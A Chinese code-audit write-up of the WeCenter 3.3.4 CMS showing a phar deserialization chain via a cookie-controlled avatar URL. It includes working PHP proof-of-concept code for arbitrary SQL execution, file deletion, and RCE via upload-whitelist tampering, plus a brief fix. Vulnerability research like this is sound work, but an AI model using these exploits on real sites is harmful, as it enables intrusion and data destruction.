WeCenter3.3.4代码审计

前言

白天又研究了一天的tp的pop链,终于理解了整个挖掘过程。审计一个19年的cms来缓缓。这个cms同样试利用了pop链实现RCE

漏洞点

在上一个tp框架审计中最后我们是自己构造了一个可控的 unserialize(可控),结合我们寻找的pop链触发发序列化。
在审计中
反序列化点可以从两个方向进行寻找,一种是直接搜可控的 unserialize(可控) ,另一种是完全可控的文件名(利用 phar:// 协议触发反序列化)。刚好 WeCenter 中就存在可控的文件名。我们今天就是利用的phar:// 协议触发反序列化。
前面的文章中已经提到,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

本次漏洞起点就是
 file_get_contents 函数的文件名完全可控(来自 $_COOKIE ),利用 phar:// 协议触发反序列化。
全局搜索file_get_contents 函数

依旧是回溯方法,
目的:

查看何处调用了 associate_remote_avatar 方法,以及看看 $headimgurl 值是否可控。

看到headimgurl参数由$wxuser获得
跟进
emm全局搜索就这一个页面有这个变量,看这一行

$wxuser=$this->model('account')>fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');

$wxuser变量由fetch_row获取这一行所有数据后面拼凑而成。
跟进users_weixin这个参数
看到他是一个数据表
寻找增删改查等敏感操作:

我们可以看到这个地方和前面有关联,跟进$access_user:
可以看到这个函数中有这个参数

继续回溯,找哪里调用了bind_account() 
还是在这个页面:weixin.php:

public function binding_action()

这个方法调用了bind_account()

上面的 $access_user 为这里传入的 $WXConnect[‘access_user’] ,而 $WXConnect 的值来自可控的 $_COOKIE 。

$WXConnect的值就是cookie中json解码后的值(前缀_WXConnect)

前面说的攻击点有了:
完全可控的文件名(利用 phar:// 协议触发反序列化

传入 file_get_contents 函数的文件名完全可控(来自 $_COOKIE )
整个攻击过程:
1、生成恶意cookie - $WXConnect

2、binding_action取$WXConnect赋给bind_account

3、bind_account得到$WXConnect后,把值中的headimgurl入库

4、synch_img_action读库

5、把读库的结果赋值给associate_remote_avatar

6、associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化

任意SQL语句执行

pop链的寻找我们全局搜索魔术方法:

system/aws_model.inc.php:

__destruct() 方法中存在任意 SQL 语句执行。

我们先生成一个phar文件:

<?php
class AWS_MODEL{
        private $_shutdown_query = array();

        public function __construct(){
            $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
        }
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>

然后找个可以上传文件的地方。这里要注意,一定不要选择在用户头像处上传。

这里看1889行,会置空我们的文件
这里我们通过发起问题的地方来上传文件

记录一下路径

生成并设置COOKIE中的WXConnect值

<?php
    $arr = array();
    $arr['access_token'] = array('openid' => '1');
    $arr['access_user'] = array();
    $arr['access_user']['openid'] = 1;
    $arr['access_user']['nickname'] = 'naiquan';
    $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
    echo json_encode($arr);
?>

将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

访问app/m/weixin.php下的binding_action

注意这里要对应

bind_account得到$WXConnect后,把值中的headimgurl入库

synch_img_action读库后赋值给associate_remote_avatar,associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化:

访问app/account/ajax.php下的synch_img_action

任意SQL语句执行成功

任意文件删除

system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。

exp:

<?php
class Zend_Http_Response_Stream
{
    protected $_cleanup;
    protected $stream_name;

    public function __construct($stream_name)
    {
        $this->_cleanup = true;
        $this->stream_name = $stream_name;
    }
}

$stream_name = '/var/www/html/wecenter334/shell.php';
$evilobj = new Zend_Http_Response_Stream($stream_name);
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evilobj);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();

?>

流程和上面一致,不再重复

RCE

这个才是重点,能够RCE,我们来分析一下流程:

WeCenter 后台的 允许的附件文件类型 处,设置了用户可上传的文件类型后缀。而这个配置是写在数据库中的,我们可以利用前面的任意 SQL 语句执行的 POP 链,往字段中添加 php 文件后缀。

可以看到这里后缀白名单限制了我们上传php文件,我们可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了

利用下面的poc生成phar文件,重命名为shell.gif

<?php
class AWS_MODEL{
    private $_shutdown_query = array();

    public function __construct(){
        $file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
        $this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
    }
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
?>

和前面一样通过发起问题的地方来上传文件

记录一下路径

生成并设置COOKIE中的WXConnect值

<?php
    $arr = array();
    $arr['access_token'] = array('openid' => '1');
    $arr['access_user'] = array();
    $arr['access_user']['openid'] = 1;
    $arr['access_user']['nickname'] = 'naiquan';
    $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
    echo json_encode($arr);
?>

将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

访问app/m/weixin.php下的binding_action

接着通过如下数据包触发 phar反序列化 执行 SQL 语句。

可以看到我们上传php文件成功

漏洞修复

删除app/account/ajax.php下名为synch_img的action即可,删除路由或者函数都可以。

参考

https://mochazz.github.io/2020/01/16/WeCenter3.3.4SQL注入到RCE/#利用

猜你喜欢

转载自www.cnblogs.com/wangtanzhi/p/12661051.html